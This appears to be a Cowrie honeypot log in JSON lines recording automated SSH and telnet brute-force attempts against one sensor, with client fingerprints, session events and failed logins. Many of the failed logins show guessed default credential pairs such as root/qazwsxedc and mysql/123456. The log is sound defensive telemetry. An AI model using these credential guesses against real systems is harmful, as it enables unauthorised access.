{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:30.149325Z","src_ip":"124.155.125.131","session":"c108e5f52308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:30.711602Z","src_ip":"94.26.106.229","session":"6c43d8a8af9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:30.884378Z","src_ip":"124.155.125.131","session":"c108e5f52308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:31.093811Z","src_ip":"45.156.87.204","session":"7e592e19d926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36404,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c2ad2f507d5","protocol":"ssh","message":"New connection: 94.26.106.229:36404 (159.203.135.109:22) [session: 6c2ad2f507d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:31.445710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:31.450440Z","src_ip":"94.26.106.229","session":"6c2ad2f507d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:31.543077Z","src_ip":"94.26.106.229","session":"6c2ad2f507d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:31.806619Z","src_ip":"94.26.106.229","session":"6c2ad2f507d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:32.061889Z","src_ip":"124.155.125.131","session":"c108e5f52308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:32.951187Z","src_ip":"94.26.106.229","session":"6c2ad2f507d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54202,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6ce94da1898","protocol":"ssh","message":"New connection: 45.156.87.204:54202 (159.203.135.109:22) [session: e6ce94da1898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:33.202161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:33.206827Z","src_ip":"45.156.87.204","session":"e6ce94da1898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:33.289217Z","src_ip":"45.156.87.204","session":"e6ce94da1898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:33.537170Z","src_ip":"45.156.87.204","session":"e6ce94da1898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:34.622336Z","src_ip":"45.156.87.204","session":"e6ce94da1898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.36693358421326,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:35.590147Z","src_ip":"152.42.224.71","session":"bd5622d4a7d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54218,"dst_ip":"159.203.135.109","dst_port":22,"session":"c272a9e78b46","protocol":"ssh","message":"New connection: 45.156.87.204:54218 (159.203.135.109:22) [session: c272a9e78b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:37.189472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:37.193963Z","src_ip":"45.156.87.204","session":"c272a9e78b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:37.277310Z","src_ip":"45.156.87.204","session":"c272a9e78b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:37.531529Z","src_ip":"45.156.87.204","session":"c272a9e78b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.83617377281189,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:38.286848Z","src_ip":"152.42.224.71","session":"77ac29c8832a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:38.617686Z","src_ip":"45.156.87.204","session":"c272a9e78b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43838,"dst_ip":"10.17.0.5","dst_port":23,"session":"64e9061416d6","protocol":"telnet","message":"New connection: 152.42.224.71:43838 (10.17.0.5:23) [session: 64e9061416d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:38.925084Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54232,"dst_ip":"159.203.135.109","dst_port":22,"session":"454f1cefd133","protocol":"ssh","message":"New connection: 45.156.87.204:54232 (159.203.135.109:22) [session: 454f1cefd133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:40.846642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:40.850988Z","src_ip":"45.156.87.204","session":"454f1cefd133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:40.936716Z","src_ip":"45.156.87.204","session":"454f1cefd133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:41.183499Z","src_ip":"45.156.87.204","session":"454f1cefd133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:42.315809Z","src_ip":"45.156.87.204","session":"454f1cefd133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":63782,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ef9c9862b5f","protocol":"ssh","message":"New connection: 94.26.106.229:63782 (159.203.135.109:22) [session: 4ef9c9862b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:43.237546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:43.243850Z","src_ip":"94.26.106.229","session":"4ef9c9862b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:43.327420Z","src_ip":"94.26.106.229","session":"4ef9c9862b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123","message":"login attempt [bot/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:43.579851Z","src_ip":"94.26.106.229","session":"4ef9c9862b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44216,"dst_ip":"159.203.135.109","dst_port":22,"session":"3000c4a8a971","protocol":"ssh","message":"New connection: 45.156.87.204:44216 (159.203.135.109:22) [session: 3000c4a8a971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:44.311958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:44.453067Z","src_ip":"45.156.87.204","session":"3000c4a8a971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:44.456648Z","src_ip":"45.156.87.204","session":"3000c4a8a971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":45786,"dst_ip":"159.203.135.109","dst_port":22,"session":"248925ad7028","protocol":"ssh","message":"New connection: 119.28.114.76:45786 (159.203.135.109:22) [session: 248925ad7028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:44.545873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:44.550827Z","src_ip":"119.28.114.76","session":"248925ad7028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:44.666399Z","src_ip":"94.26.106.229","session":"4ef9c9862b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:44.796798Z","src_ip":"119.28.114.76","session":"248925ad7028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:44.946820Z","src_ip":"45.156.87.204","session":"3000c4a8a971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123!!!","message":"login attempt [root/Abc123!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:45.807156Z","src_ip":"119.28.114.76","session":"248925ad7028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:46.030847Z","src_ip":"45.156.87.204","session":"3000c4a8a971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:47.055278Z","src_ip":"119.28.114.76","session":"248925ad7028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44232,"dst_ip":"159.203.135.109","dst_port":22,"session":"37a7e49061de","protocol":"ssh","message":"New connection: 45.156.87.204:44232 (159.203.135.109:22) [session: 37a7e49061de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:48.247293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:48.252325Z","src_ip":"45.156.87.204","session":"37a7e49061de","protocol":"ssh"}
